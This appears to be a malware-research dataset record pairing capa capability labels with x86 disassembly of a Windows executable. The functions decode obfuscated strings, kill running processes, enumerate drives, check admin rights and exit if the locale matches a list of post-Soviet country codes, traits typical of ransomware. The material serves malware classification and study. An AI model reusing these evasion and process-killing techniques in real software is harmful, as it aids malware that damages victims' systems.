joyce8/EMBER2024-capa huggingface dataset:
Function at 0x409aea
Capabilities:
Create thread
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
cmp dword [0x4196a0], 0
jne 0x409bb0
push esi
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
imul ecx, dword [ebp - 0x10], 6
xor esi, esi
mov dword [0x41955c], esi
mov dword [0x419584], esi
mov dword [0x419730], ecx
shl ecx, 2
mov dword [0x41972c], esi
call fcn.004067f9
mov dword [0x4196a0], eax
test eax, eax
je 0x409baf
push edi
mov ecx, 0x41970c
call fcn.00407c92
mov ecx, 0x419564
call fcn.00407c92
mov ecx, 0x4196ec
call fcn.00407c92
mov eax, dword [ebp - 0x10]
mov edi, esi
add eax, eax
je 0x409ba6
push esi
push esi
push esi
push 0x408bfe
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [0x4196a0]
mov dword [ecx + edi*4], eax
inc edi
mov eax, dword [ebp - 0x10]
add eax, eax
cmp edi, eax
jb 0x409b5f
jmp 0x409ba6
xor ecx, ecx
lea eax, [edi + 1]
push ecx
push ecx
and eax, 1
push eax
push 0x408ef3
push ecx
push ecx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [0x4196a0]
mov dword [ecx + edi*4], eax
inc edi
cmp edi, dword [0x419730]
jb 0x409b84
pop edi
pop esi
leave
ret

Function at 0x409be3
Capabilities:
Create thread

Disassembly:
cmp dword [0x41955c], 0
jne 0x409c07
push 5
xor edx, edx
pop ecx
call fcn.004130af
and dword [0x419584], 0
mov dword [0x41955c], 1
xor ecx, ecx
jmp fcn.00409bb2

Function at 0x409c1a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
mov esi, ecx
call fcn.0040af78
cmp eax, 3
jne 0x409c7c
mov dword [ebp - 0xc], 0x7a
xor edx, edx
mov byte [ebp - 8], 0x51
mov byte [ebp - 7], 0x7a
mov byte [ebp - 6], 0x57
mov byte [ebp - 5], 0x7a
mov byte [ebp - 4], 0x7a
mov al, byte [ebp - 8]
mov byte [ebp - 3], 0
mov al, byte [ebp + edx - 8]
mov ecx, dword [ebp - 0xc]
xor cl, al
mov byte [ebp + edx - 8], cl
inc edx
cmp edx, 5
jb 0x409c51
movzx eax, word [esi + 4]
mov byte [ebp - 3], 0
cmp ax, word [ebp - 8]
je 0x409c7c
cmp ax, word [ebp - 6]
jne 0x409c7c
xor al, al
jmp 0x409c7e
mov al, 1
pop esi
leave
ret
Function at 0x40a352
Capabilities:
Encode data using xor

Disassembly:
push esi
push edi
mov esi, ecx
xor eax, eax
mov dl, byte [esi + eax + 4]
mov ecx, dword [esi]
add cl, al
xor cl, dl
mov byte [esi + eax + 4], cl
inc eax
cmp eax, 0x14
jb 0x40a358
pop edi
mov byte [esi + 0x18], 0
lea eax, [esi + 4]
pop esi
ret

Function at 0x40a376
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push 0x1b
lea esi, [ecx + 4]
pop ebx
mov dl, byte [esi]
mov eax, dword [ecx]
xor al, dl
mov byte [esi], al
inc esi
sub ebx, 1
jne 0x40a37f
pop edi
pop esi
mov byte [ecx + 0x1f], bl
lea eax, [ecx + 4]
pop ebx
ret
Function at 0x40ac6c
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
xor eax, eax
mov edi, ecx
push eax
push 0x8000000
push 3
push eax
push eax
push closesocket
or esi, 0xffffffff
mov dword [ebp - 0x10], eax
push edi
mov dword [ebp - 0xc], eax
mov ebx, esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 4], eax
cmp eax, esi
je 0x40ad84
lea ecx, [ebp - 0x10]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
push dword [ebp - 4]
test eax, eax
cmovne esi, dword [ebp - 0x10]
cmovne ebx, dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
jl 0x40ad84
jg 0x40ad84
test esi, esi
je 0x40ad84
test ebx, ebx
jg 0x40ad84
jl 0x40acef
cmp esi, 0x2000
ja 0x40ad84
mov ecx, edi
call fcn.0040af78
jmp 0x40ad00
cmp word [edi + eax*2], 0x5c
je 0x40ad06
dec eax
test eax, eax
jg 0x40acf8
jmp 0x40ad07
inc eax
lea eax, [edi + eax*2]
mov ebx, 0x419780
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
xor edx, edx
mov dword [0x415cc1], eax
push edx
push edx
lea ecx, [eax + 1]
push ecx
push 0x415cc5
push eax
push ebx
push edx
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [0x415d45], esi
mov ecx, edi
push esi
mov esi, 0x415d49
mov edx, esi
call fcn.0040af1b
mov edx, dword [0x415d45]
pop ecx
mov ecx, esi
call fcn.00404f27
push 0x1000
mov ecx, 0x417d4d
mov dword [0x41977c], eax
call fcn.00406851
and dword [0x417d49], 0
xor eax, eax
add esp, 4
inc eax
jmp 0x40ad86
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40ad8b
Capabilities:
Get token membership

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
mov word [ebp - 0xc], 0x500
lea eax, [ebp - 8]
mov dword [ebp - 4], ebx
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
push 2
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], ebx
push eax
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x40addf
lea eax, [ebp - 4]
push eax
push dword [ebp - 8]
push ebx
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
push dword [ebp - 8]
neg eax
sbb eax, eax
and dword [ebp - 4], eax
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [ebp - 4]
pop ebx
leave
ret

Function at 0x40ade5
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push esi
mov esi, 0x114
lea ecx, [ebp - 0x114]
push esi
call fcn.00406851
add esp, 4
mov dword [ebp - 0x114], esi
mov eax, ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
cmp dword [ebp - 0x104], 2
pop esi
jne 0x40ae33
cmp dword [ebp - 0x110], 5
jne 0x40ae33
cmp dword [ebp - 0x10c], 2
ja 0x40ae33
xor eax, eax
inc eax
leave
ret
xor eax, eax
leave
ret

Function at 0x40aeb3
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x40aec7
test al, 0x10
je 0x40aec7
xor eax, eax
inc eax
ret
xor eax, eax
ret
Function at 0x40aeca
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor eax, eax
mov ebx, edx
push eax
push 0x8000000
push 2
push eax
push eax
push 0x40000000
push ecx
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, dword [ebp + 8]
mov esi, eax
cmp esi, 0xffffffff
je 0x40af0e
push 0
lea eax, [ebp - 4]
push eax
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
cmp dword [ebp - 4], edi
pop edi
pop esi
sete al
pop ebx
leave
ret

Function at 0x40af1b
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov ebx, edx
mov esi, ecx
call fcn.0040ae7c
test eax, eax
je 0x40af73
xor eax, eax
push eax
push 0x8000000
push 3
push eax
push eax
push closesocket
push esi
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, dword [ebp + 8]
mov esi, eax
cmp esi, 0xffffffff
je 0x40af6b
push 0
lea eax, [ebp - 4]
push eax
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
cmp dword [ebp - 4], edi
sete al
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40b5d7
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x90c
cmp dword [0x415cc1], 0
je 0x40b6ae
push esi
mov esi, 0x415cc5
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x40b6ad
push ebx
xor ebx, ebx
lea eax, [ebp - 0x90c]
push ebx
push 0x10
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
mov eax, dword [0x415cc1]
inc eax
push eax
lea eax, [ebp - 0x10c]
push eax
push 0xffffffffffffffff
push esi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea eax, [ebp - 0x10c]
lea edx, [ebp - 0x90c]
push eax
mov ecx, edx
call fcn.0040af88
push dword [0x415d45]
mov edx, 0x415d49
lea ecx, [ebp - 0x90c]
call fcn.0040aeca
pop ecx
pop ecx
test eax, eax
je 0x40b6ac
mov byte [ebp - 0xa], 0x79
mov byte [ebp - 9], 0xa
mov byte [ebp - 8], 0x7a
mov byte [ebp - 7], 0xa
mov byte [ebp - 6], 0x6f
mov byte [ebp - 5], 0xa
mov byte [ebp - 4], 0x78
mov byte [ebp - 3], 0xa
mov byte [ebp - 2], 0xa
mov byte [ebp - 1], bl
mov al, byte [ebp - 0xa]
mov eax, ebx
sub byte [ebp + eax - 0xa], 0xa
inc eax
cmp eax, 9
jb 0x40b68b
push 5
push ebx
push ebx
lea eax, [ebp - 0x90c]
push eax
lea eax, [ebp - 0xa]
push eax
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
pop ebx
pop esi
leave
ret

Function at 0x40b6b0
Capabilities:
Encode data using xor
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
push edi
push 0
push 0
mov dword [ebp - 4], ecx
call ebx
mov edi, eax
test edi, edi
je 0x40b772
push esi
lea ecx, [edi*2 + 2]
call fcn.004067f9
mov esi, eax
mov dword [ebp - 0xc], esi
test esi, esi
je 0x40b771
push esi
push edi
call ebx
push esi
mov edi, esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ebx, eax
test ebx, ebx
je 0x40b76a
mov esi, dword [ebp - 4]
push 1
push 0
push 8
mov edx, edi
mov ecx, esi
call fcn.00407ce9
add esp, 0xc
test eax, eax
je 0x40b754
mov dword [ebp - 8], 3
xor edx, edx
mov byte [ebp - 4], 0x33
mov byte [ebp - 3], 3
mov byte [ebp - 2], 3
mov al, byte [ebp - 4]
mov byte [ebp - 1], 0
mov al, byte [ebp + edx - 4]
mov ecx, dword [ebp - 8]
xor cl, al
mov byte [ebp + edx - 4], cl
inc edx
cmp edx, 3
jb 0x40b733
mov edx, edi
mov byte [ebp - 1], 0
lea ecx, [ebp - 4]
call fcn.00413177
lea edi, [edi + ebx*2]
add edi, 2
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ebx, eax
test ebx, ebx
jne 0x40b701
mov esi, dword [ebp - 0xc]
mov ecx, esi
call fcn.0040689e
pop esi
pop edi
pop ebx
leave
ret
Function at 0x40b776
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x824
push ebx
push esi
push edi
mov dword [ebp - 0x14], ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
and dword [ebp - 0xc], 0
push eax
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ebx, eax
lea ecx, [ebx*2 + 2]
call fcn.004067f9
mov esi, eax
test esi, esi
je 0x40b8b8
and dword [ebp - 0x10], 0
xor edi, edi
xor ecx, ecx
test ebx, ebx
jle 0x40b8b1
mov edx, dword [ebp - 8]
mov dword [ebp - 0x1c], 0x20
movzx eax, word [edx + edi*2]
cmp eax, 0x22
jne 0x40b7e1
xor eax, eax
cmp dword [ebp - 0x10], eax
sete al
mov dword [ebp - 0x10], eax
jmp 0x40b7f2
cmp ax, word [ebp - 0x1c]
jne 0x40b7ed
cmp dword [ebp - 0x10], 0
je 0x40b7f2
mov word [esi + ecx*2], ax
inc ecx
test ecx, ecx
je 0x40b8a8
lea eax, [ebx - 1]
cmp edi, eax
je 0x40b818
push 0x20
pop eax
cmp word [edx + edi*2], ax
jne 0x40b8a8
cmp dword [ebp - 0x10], 0
jne 0x40b8a8
cmp word [esi + ecx*2 - 2], 0x5c
lea eax, [ecx - 1]
cmovne eax, ecx
xor ecx, ecx
mov word [esi + eax*2], cx
mov ecx, dword [ebp - 0xc]
mov eax, ecx
inc ecx
mov dword [ebp - 0xc], ecx
test eax, eax
je 0x40b8a6
mov ecx, esi
call fcn.0040aeb3
test eax, eax
je 0x40b885
mov ecx, dword [ebp - 0x14]
mov edx, esi
push 0
push 0
push 2
call fcn.00407ce9
add esp, 0xc
test eax, eax
je 0x40b8a3
mov byte [ebp - 4], 0x3b
mov byte [ebp - 3], 0xb
mov byte [ebp - 2], 0xb
mov byte [ebp - 1], 0
mov al, byte [ebp - 4]
xor eax, eax
sub byte [ebp + eax - 4], 0xb
inc eax
cmp eax, 3
jb 0x40b86e
mov edx, esi
lea ecx, [ebp - 4]
call fcn.00413177
jmp 0x40b8a3
mov ecx, esi
call fcn.0040ae7c
test eax, eax
je 0x40b8a3
mov ecx, dword [ebp - 0x14]
mov edx, esi
push 0
push 0
push 1
call fcn.00407ce9
add esp, 0xc
mov edx, dword [ebp - 8]
xor ecx, ecx
inc edi
cmp edi, ebx
jl 0x40b7cb
mov ecx, esi
call fcn.0040689e
and dword [ebp - 0x18], 0
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 8]
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
xor esi, esi
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0x18], esi
jle 0x40b970
mov edi, dword [eax + esi*4]
mov ecx, edi
call fcn.0040af78
mov ebx, eax
cmp ebx, 3
jle 0x40b963
cmp word [edi], 0x2d
jne 0x40b963
movzx ecx, word [edi + 2]
cmp ecx, 0x54
je 0x40b8fc
cmp ecx, 0x74
jne 0x40b963
cmp word [edi + 4], 0x3d
jne 0x40b963
push 0x800
lea ecx, [ebp - 0x820]
call fcn.00406851
lea edi, [ebx - 2]
mov eax, 0x400
add esp, 4
cmp edi, eax
cmovg edi, eax
xor edx, edx
test edi, edi
jle 0x40b946
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx + esi*4]
add ecx, 6
movsx ax, byte [ecx]
lea ecx, [ecx + 2]
mov word [ebp + edx*2 - 0x820], ax
inc edx
cmp edx, edi
jl 0x40b932
lea ecx, [ebp - 0x820]
call fcn.0040ae7c
test eax, eax
je 0x40b963
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x820]
call fcn.0040b975
mov eax, dword [ebp - 0xc]
inc esi
cmp esi, dword [ebp - 0x18]
jl 0x40b8d7
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40b975
Capabilities:
Encode data using xor
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x60014
call fcn.004138e0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10], edx
push ebx
push 0x80
push 3
push ebx
push 1
push closesocket
push ecx
mov dword [ebp - 0xc], ebx
lea esi, [ebp - 0x20010]
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x40bb88
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_ReadFile]
lea eax, [ebp - 0xc]
push eax
push 3
mov eax, esi
push eax
push edi
call ebx
test eax, eax
je 0x40b9f9
cmp dword [ebp - 0xc], 3
jne 0x40b9f9
cmp byte [ebp - 0x20010], 0xef
jne 0x40b9f9
cmp byte [ebp - 0x2000f], 0xbb
jne 0x40b9f9
cmp byte [ebp - 0x2000e], 0xbf
jne 0x40b9f9
mov dword [ebp - 4], 0xfde9
jmp 0x40ba05
xor eax, eax
push eax
push eax
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x20000
lea ecx, [ebp - 0x20010]
call fcn.00406851
add esp, 4
lea eax, [ebp - 0xc]
push 0
push eax
push 0x20000
mov eax, ecx
push eax
push edi
call ebx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
cmp dword [ebp - 0xc], eax
jbe 0x40ba56
mov cl, byte [ebp + eax - 0x20010]
cmp cl, 0xd
je 0x40ba48
cmp cl, 0xa
jne 0x40ba50
mov byte [ebp + eax - 0x20010], 0
inc eax
cmp eax, dword [ebp - 0xc]
jb 0x40ba37
mov edi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ebx, dword [ebp - 4]
cmp byte [esi], 0
je 0x40bb68
push 0
push 0
push 0xffffffffffffffff
push esi
push 0
push ebx
call edi
test eax, eax
je 0x40bb68
push eax
lea eax, [ebp - 0x60010]
push eax
push 0xffffffffffffffff
push esi
push 0
push ebx
call edi
lea ecx, [ebp - 0x60010]
call fcn.0040aeb3
test eax, eax
je 0x40bb0b
mov ecx, dword [ebp - 0x10]
lea edx, [ebp - 0x60010]
push 0
push 0
push 2
call fcn.00407ce9
add esp, 0xc
test eax, eax
je 0x40bb68
mov dword [ebp - 8], 0x16
mov eax, dword [ebp - 8]
xor al, 0x30
mov byte [ebp - 4], al
mov eax, dword [ebp - 8]
inc al
mov byte [ebp - 3], al
mov eax, dword [ebp - 8]
add al, 2
mov byte [ebp - 1], 0
mov byte [ebp - 2], al
xor edx, edx
mov al, byte [ebp - 4]
mov al, byte [ebp + edx - 4]
mov ecx, dword [ebp - 8]
add cl, dl
xor cl, al
mov byte [ebp + edx - 4], cl
inc edx
cmp edx, 3
jb 0x40bae2
lea edx, [ebp - 0x60010]
mov byte [ebp - 1], 0
lea ecx, [ebp - 4]
call fcn.00413177
jmp 0x40bb68
lea ecx, [ebp - 0x60010]
call fcn.0040ae7c
test eax, eax
je 0x40bb33
mov ecx, dword [ebp - 0x10]
lea edx, [ebp - 0x60010]
push 0
push 0
push 1
call fcn.00407ce9
add esp, 0xc
jmp 0x40bb68
push 2
xor edx, edx
pop ecx
call fcn.004130af
xor ecx, ecx
xor edx, edx
inc ecx
call fcn.004130af
lea ecx, [ebp - 0x60010]
call fcn.0040733a
xor edx, edx
push 2
inc edx
pop ecx
call fcn.004130af
xor edx, edx
xor ecx, ecx
inc edx
inc ecx
call fcn.004130af
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add esi, eax
jmp 0x40bb78
cmp esi, eax
jae 0x40bb88
inc esi
cmp byte [esi], 0
lea eax, [ebp - 0x10]
je 0x40bb73
cmp esi, eax
jb 0x40ba5f
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40bb8d
Capabilities:
Contain obfuscated stackstrings
Get geographical location
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
push ebx
push 3
lea eax, [ebp - 8]
push eax
push 0x5a
push 0x400
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov byte [ebp - 0x55], 0x41
xor ebx, ebx
mov byte [ebp - 0x54], bl
mov ecx, ebx
mov byte [ebp - 0x53], 0x4d
mov byte [ebp - 0x52], bl
mov byte [ebp - 0x51], 0x41
mov byte [ebp - 0x50], bl
mov byte [ebp - 0x4f], 0x5a
mov byte [ebp - 0x4e], bl
mov byte [ebp - 0x4d], 0x42
mov byte [ebp - 0x4c], bl
mov byte [ebp - 0x4b], 0x59
mov byte [ebp - 0x4a], bl
mov byte [ebp - 0x49], 0x43
mov byte [ebp - 0x48], bl
mov byte [ebp - 0x47], 0x59
mov byte [ebp - 0x46], bl
mov byte [ebp - 0x45], 0x47
mov byte [ebp - 0x44], bl
mov byte [ebp - 0x43], 0x45
mov byte [ebp - 0x42], bl
mov byte [ebp - 0x41], 0x4b
mov byte [ebp - 0x40], bl
mov byte [ebp - 0x3f], 0x5a
mov byte [ebp - 0x3e], bl
mov byte [ebp - 0x3d], 0x4b
mov byte [ebp - 0x3c], bl
mov byte [ebp - 0x3b], 0x47
mov byte [ebp - 0x3a], bl
mov byte [ebp - 0x39], 0x4d
mov byte [ebp - 0x38], bl
mov byte [ebp - 0x37], 0x44
mov byte [ebp - 0x36], bl
mov byte [ebp - 0x35], 0x52
mov byte [ebp - 0x34], bl
mov byte [ebp - 0x33], 0x55
mov byte [ebp - 0x32], bl
mov byte [ebp - 0x31], 0x54
mov byte [ebp - 0x30], bl
mov byte [ebp - 0x2f], 0x4a
mov byte [ebp - 0x2e], bl
mov byte [ebp - 0x2d], 0x54
mov byte [ebp - 0x2c], bl
mov byte [ebp - 0x2b], 0x4d
mov byte [ebp - 0x2a], bl
mov byte [ebp - 0x29], 0x55
mov byte [ebp - 0x28], bl
mov byte [ebp - 0x27], 0x41
mov byte [ebp - 0x26], bl
mov byte [ebp - 0x25], 0x55
mov byte [ebp - 0x24], bl
mov byte [ebp - 0x23], 0x5a
mov byte [ebp - 0x22], bl
mov byte [ebp - 0x21], 0x56
mov byte [ebp - 0x20], bl
mov byte [ebp - 0x1f], 0x4e
mov byte [ebp - 0x1e], bl
mov byte [ebp - 0x1d], bl
mov byte [ebp - 0x1c], bl
mov al, byte [ebp - 0x55]
mov al, byte [ebp + ecx - 0x55]
mov byte [ebp + ecx - 0x55], al
inc ecx
cmp ecx, 0x39
jb 0x40bc78
mov cx, word [ebp - 0x55]
mov eax, ebx
test cx, cx
je 0x40bcb8
push esi
mov esi, dword [ebp - 6]
movzx edx, cx
mov ecx, ebx
cmp word [ebp - 8], dx
jne 0x40bca7
cmp si, word [ebp + ecx - 0x53]
je 0x40bcbb
add eax, 2
lea ecx, [eax + eax]
movzx edx, word [ebp + ecx - 0x55]
test dx, dx
jne 0x40bc9a
pop esi
pop ebx
leave
ret
mov byte [ebp - 0x1b], 0x5b
lea ecx, [ebp - 0x1b]
mov byte [ebp - 0x1a], 0x74
mov byte [ebp - 0x19], 0x79
mov byte [ebp - 0x18], 0x7b
mov byte [ebp - 0x17], 0x76
mov byte [ebp - 0x16], 0x76
mov byte [ebp - 0x15], 0x75
mov byte [ebp - 0x14], 0x78
mov byte [ebp - 0x13], 0x7a
mov byte [ebp - 0x12], 0x6b
mov byte [ebp - 0x11], 0x6a
mov byte [ebp - 0x10], 0x26
mov byte [ebp - 0xf], 0x72
mov byte [ebp - 0xe], 0x75
mov byte [ebp - 0xd], 0x69
mov byte [ebp - 0xc], 0x67
mov byte [ebp - 0xb], 0x72
mov byte [ebp - 0xa], 0x6b
push 0x10
mov byte [ebp - 9], bl
mov al, byte [ebp - 0x1b]
push 0x4018e2
call fcn.0040d31c
push eax
push ebx
call dword [sym.imp.USER32.dll_MessageBoxA]
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x40c089
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x270
lea ecx, [ebp - 0x44]
mov edx, 0x4154c1
call fcn.00401a10
test eax, eax
je 0x40c282
push esi
push 0
push 0xf
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
mov dword [ebp - 0x270], 0x22c
lea eax, [ebp - 0x270]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x40c272
push ebx
sub esp, 0xc
lea edx, [ebp - 0x24c]
lea ecx, [ebp - 0x44]
call fcn.00401b06
add esp, 0xc
test eax, eax
je 0x40c25b
push dword [ebp - 0x268]
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
test ebx, ebx
je 0x40c25b
push 9
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
je 0x40c254
mov byte [ebp - 0x24], 0x5a
mov byte [ebp - 0x23], 0xa
mov byte [ebp - 0x22], 0x7c
mov byte [ebp - 0x21], 0xa
mov byte [ebp - 0x20], 0x79
mov byte [ebp - 0x1f], 0xa
mov byte [ebp - 0x1e], 0x6d
mov byte [ebp - 0x1d], 0xa
mov byte [ebp - 0x1c], 0x6f
mov byte [ebp - 0x1b], 0xa
mov byte [ebp - 0x1a], 0x7d
mov byte [ebp - 0x19], 0xa
mov byte [ebp - 0x18], 0x7d
mov byte [ebp - 0x17], 0xa
mov byte [ebp - 0x16], 0x44
mov byte [ebp - 0x15], 0xa
mov byte [ebp - 0x14], 0x2a
mov byte [ebp - 0x13], 0xa
mov byte [ebp - 0x12], 0x2f
mov byte [ebp - 0x11], 0xa
mov byte [ebp - 0x10], 0x7d
mov byte [ebp - 0xf], 0xa
mov byte [ebp - 0xe], 0x2a
mov byte [ebp - 0xd], 0xa
mov byte [ebp - 0xc], 0x32
mov byte [ebp - 0xb], 0xa
mov byte [ebp - 0xa], 0x2f
mov byte [ebp - 9], 0xa
mov byte [ebp - 8], 0x76
mov byte [ebp - 7], 0xa
mov byte [ebp - 6], 0x7f
mov byte [ebp - 5], 0xa
mov byte [ebp - 4], 0x33
mov byte [ebp - 3], 0xa
mov byte [ebp - 2], 0xa
mov byte [ebp - 1], 0
mov al, byte [ebp - 0x24]
xor eax, eax
sub byte [ebp + eax - 0x24], 0xa
inc eax
cmp eax, 0x23
jb 0x40c1b1
mov dword [ebp - 0x40], 0x4d
xor edx, edx
mov byte [ebp - 0x3c], 0x39
mov byte [ebp - 0x3b], 0x4d
mov byte [ebp - 0x3a], 0x28
mov byte [ebp - 0x39], 0x4d
mov byte [ebp - 0x38], 0x3f
mov byte [ebp - 0x37], 0x4d
mov byte [ebp - 0x36], 0x20
mov byte [ebp - 0x35], 0x4d
mov byte [ebp - 0x34], 0x24
mov byte [ebp - 0x33], 0x4d
mov byte [ebp - 0x32], 0x23
mov byte [ebp - 0x31], 0x4d
mov byte [ebp - 0x30], 0x2c
mov byte [ebp - 0x2f], 0x4d
mov byte [ebp - 0x2e], 0x39
mov byte [ebp - 0x2d], 0x4d
mov byte [ebp - 0x2c], 0x28
mov byte [ebp - 0x2b], 0x4d
mov byte [ebp - 0x2a], 0x29
mov byte [ebp - 0x29], 0x4d
mov byte [ebp - 0x28], 0x4d
mov al, byte [ebp - 0x3c]
mov byte [ebp - 0x27], 0
mov al, byte [ebp + edx - 0x3c]
mov ecx, dword [ebp - 0x40]
xor cl, al
mov byte [ebp + edx - 0x3c], cl
inc edx
cmp edx, 0x15
jb 0x40c220
push dword [ebp - 0x268]
lea eax, [ebp - 0x24c]
mov byte [ebp - 0x27], 0
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x3c]
push eax
call fcn.0041321e
add esp, 0x10
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x270]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x40c0d5
pop ebx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x44]
call fcn.00401ac9
pop esi
leave
ret
Function at 0x40c284
Capabilities:
Query service status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
lea eax, [ebp - 0x28]
push ebx
push esi
push edi
push eax
xor ebx, ebx
mov esi, ecx
inc ebx
push ebx
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x40c2ff
mov eax, dword [ebp - 0x10]
xor edx, edx
push 0xa
pop ecx
div ecx
mov ecx, 0x2710
cmp eax, ecx
mov edi, eax
cmova edi, ecx
mov ecx, 0x3e8
cmp eax, ecx
cmovb edi, ecx
jmp 0x40c2fa
push edi
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 4]
push eax
push 0x24
lea eax, [ebp - 0x28]
push eax
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x40c2fa
cmp dword [ebp - 0x24], ebx
je 0x40c306
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [0x41a09c]
cmp eax, 0x7530
ja 0x40c2ff
cmp dword [ebp - 0x24], ebx
jne 0x40c2c4
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov eax, ebx
jmp 0x40c301
Function at 0x40c726
Capabilities:
Create thread

Disassembly:
cmp dword [0x41a0a0], 0
jne 0x40c74d
test ecx, ecx
je 0x40c746
xor eax, eax
push eax
push eax
push eax
push fcn.0040c30a
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret
push 0
call fcn.0040c30a
ret